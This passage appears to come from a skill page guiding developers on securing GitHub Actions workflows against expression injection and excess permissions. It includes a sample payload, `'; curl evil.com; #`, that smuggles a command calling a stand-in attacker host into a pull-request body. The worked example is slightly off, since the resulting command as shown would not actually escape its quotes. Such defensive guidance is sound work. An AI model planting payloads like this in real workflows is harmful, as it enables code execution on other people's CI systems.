github-workflow-security-patternslisted
Install: claude install-skill JacobPEvans/claude-code-plugins
# GitHub Workflow Security Patterns
Best practices and canonical patterns for secure GitHub Actions workflows.
## 1. Expression Injection Mitigation
**Problem**: Untrusted input (PR description, issue body, etc.) directly in `run:` command allows injection attacks.
**Vulnerable Pattern**:
```yaml
- run: curl https://api.example.com -d "${{ github.event.pull_request.body }}"
```
**Attack**: If PR body is `'; curl evil.com; #`, the final command becomes:
```bash
curl https://api.example.com -d "'; curl evil.com; #"
```
**Safe Pattern**: Wrap untrusted input in environment variable
```yaml
- name: Send Data
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: curl https://api.example.com -d "$PR_BODY"
```
**Why Safe**: The untrusted value is now a shell variable, not part of the command syntax. Injection attack becomes literal string value.
**Dangerous contexts to always wrap**:
- `github.event.pull_request.body`
- `github.event.pull_request.title`
- `github.event.issue.body`
- `github.event.comment.body`
- `github.event.review.body`
- `github.event.*.*.message`
- `github.head_ref`
**Reference**: [GitHub Blog: Catching GitHub Actions Workflow Injections](https://github.blog/security/vulnerability-research/how-to-catch-github-actions-workflow-injections-before-attackers-do/)
## 2. Least-Privilege Permissions
**Principle**: Request only minimum permissions needed.
**Anti-pattern** (excess permissions):
```yaml
jobs:
build:
permissions:
cont